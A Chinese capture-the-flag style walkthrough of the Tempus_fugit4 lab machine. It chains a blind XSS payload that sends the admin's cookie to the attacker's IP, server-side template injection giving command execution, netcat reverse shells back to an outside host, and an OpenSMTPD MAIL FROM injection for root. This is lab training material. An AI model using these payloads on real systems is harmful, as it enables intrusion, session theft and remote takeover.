从盲打xss到到模板注入:unix靶机渗透之Tempus_fugit4

靶机总结

盲打xss openBSD渗透 SSTI模板注入 opensmtpd

信息搜集

复制代码
nmap -sT --min-rate 10000 192.168.8.253 -p-
复制代码
nmap -sT -sC -sV -O 192.168.8.253 -p22,80 

操作系统竟然是openBSD( 一个注重安全和稳定的多平台类UNIX操作系统 )

复制代码
nmap --script=vuln 192.168.8.253 -p80

发现一个admin目录

盲打xss

发现一个表单申请提交,尝试一下盲打xss盗取管理员的cookie

先启动kali的apache2

打印apche2日志

复制代码
systemctl start apache2
tail -f /var/log/apache2/access.log

注入xsspayload

复制代码
<img src=x onerror="this.src='http://192.168.8.251/?cookie='+document.cookie">

拆解这个 Payload

  <img src=x          ← src=x 是一个故意写错的 URL,浏览器加载失败
       onerror="..."  ← 加载失败时触发 onerror 事件,执行其中的
  JavaScript

  JavaScript 部分:
  this.src = 'http://192.168.8.251/?cookie=' + document.cookie
       ↓
  把 <img> 的 src 改成攻击机地址,并把 cookie 拼接到 URL 后面
       ↓
  浏览器向 http://192.168.8.251/?cookie=session=.eJwsafefew...
  发起请求

  为什么会成功?

  关键点在于 document.cookie 的读取权限:
  - 如果目标 Cookie 没有设置 HttpOnly 标志,JavaScript 可以直接读取
  - HttpOnly 是防御 XSS 窃取 Cookie 的核心机制,但很多应用遗漏此配置
复制代码
.eJwlj0uKAzEQQ-_idRb1s8vOZRp3fUgIJNCdrIa5ewxBO4knpL-y5RHnrVzfxycuZbt7uRYi6N1lsGFIaDoMs1HBskKnBLcp2kz2RhUrGyHxshoP2WFKGArs0yBsqY1whgxwxZZsPDoQI6P3xubqQBSU0kfm7ORdqFyKnUdu79cjnmtP06CuEDxjelS1WnF4ZV3FK1LHJuwoi_uccfxOSPn_AoaTPnc.akcWsQ.QWTix88hO31689Zy-BNIIlCkRZw

抓取数据包替换cookie

替换

成功登录后台

查看管理员访问日志,取到管理员的cookie

复制代码
Auth=R3JhbnRlZA==; 

加上Auth

SSTI模板注入

整了半天,命令窗口无法交互

观察历史数据包,在admin页面似乎有个auth回显

注入点测试

复制代码
{{6*7}}

base64编码一下,果然有回显

注入点配置

复制代码
config

命令注入

复制代码
 {{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}

命令回显

openBSD反弹shell

但是之前探测到靶机的系统是openBSD

利用msf生成payload (Only 80 and 443 are allowed out the openBSD firewall )

复制代码
msfvenom -p cmd/unix/reverse_netcat lport=443 lhost=192.168.8.251
复制代码
 {{ request.application.__globals__.__builtins__.__import__('os').popen('mkfifo /tmp/aeqtmgv; nc 192.168.8.251 443 0</tmp/aeqtmgv | /bin/sh >/tmp/aeqtmgv 2>&1; rm /tmp/aeqtmgv').read() }}

成功反弹

msf接收shell

提权

opensmtpd提权

复制代码
netstat -ant|grep LISTEN

发现有一个邮件服务,有提权漏洞

payload还需要一个邮箱域名,正好在js文件中泄露了

手工测试漏洞

复制代码
helo test
250 TempusFugit4 Hello test [10.13.37.1], pleased to meet you
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
250 2.0.0 Ok
RCPT TO:<root@mofo.org>
250 2.1.5 Destination address valid: Recipient ok
data
354 Enter mail, end with "." on a line by itself
From: test@test.com
To: root@mofo.org
Subject: x

0
1
2
3
4
5
6
7
8
9
a
b
c
d
id > /tmp/pwn.txt
.
250 2.0.0 3418f88a Message accepted for delivery
Connection closed by foreign host.

查看回显pwn.txt,说明漏洞存在

反弹shell

复制代码
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.8.251 80 >/tmp/f

成功提权

相关推荐
灯澜忆梦8 小时前
【基于GO的Web开发3】gin框架_HTML渲染
前端·golang·gin
ambition2024210 小时前
操作系统同步:读者-写者问题与读写公平法详解(附每个 PV 操作含义)
linux·开发语言·数据结构·unix
小徐_233314 小时前
wot-ui-cli 1.1.0 发布:支持 OpenCode、Antigravity,wot-ui 图标迁移不再靠猜
前端
__zRainy__15 小时前
Node.js Web 框架选型指南:从 Express 到 Hono 的全景对比
前端·node.js·express·koa·nestjs·egg·fastify
西瓜有点饿15 小时前
PostCSS 和 UnoCSS 的作用和区别
前端·postcss
伟大的兔神16 小时前
我做了一个本地优先的 AI 图片工作台:Loomora v1.0.0 正式发布
前端·javascript·vue.js
90后的晨仔17 小时前
uni-app项目 Vue3 状态管理 Pinia 完全指南:从概念到实战的深度解析
前端
90后的晨仔17 小时前
uni-app 在 iOS 平台跳转页面时移除底部安全区域的完整技术指南
前端
用户9385156350717 小时前
React + JWT 登录鉴权底层原理与工程化实践
前端·react.js
zww894911117 小时前
家政派单系统开发实战:架构设计与派单算法指南
前端·系统架构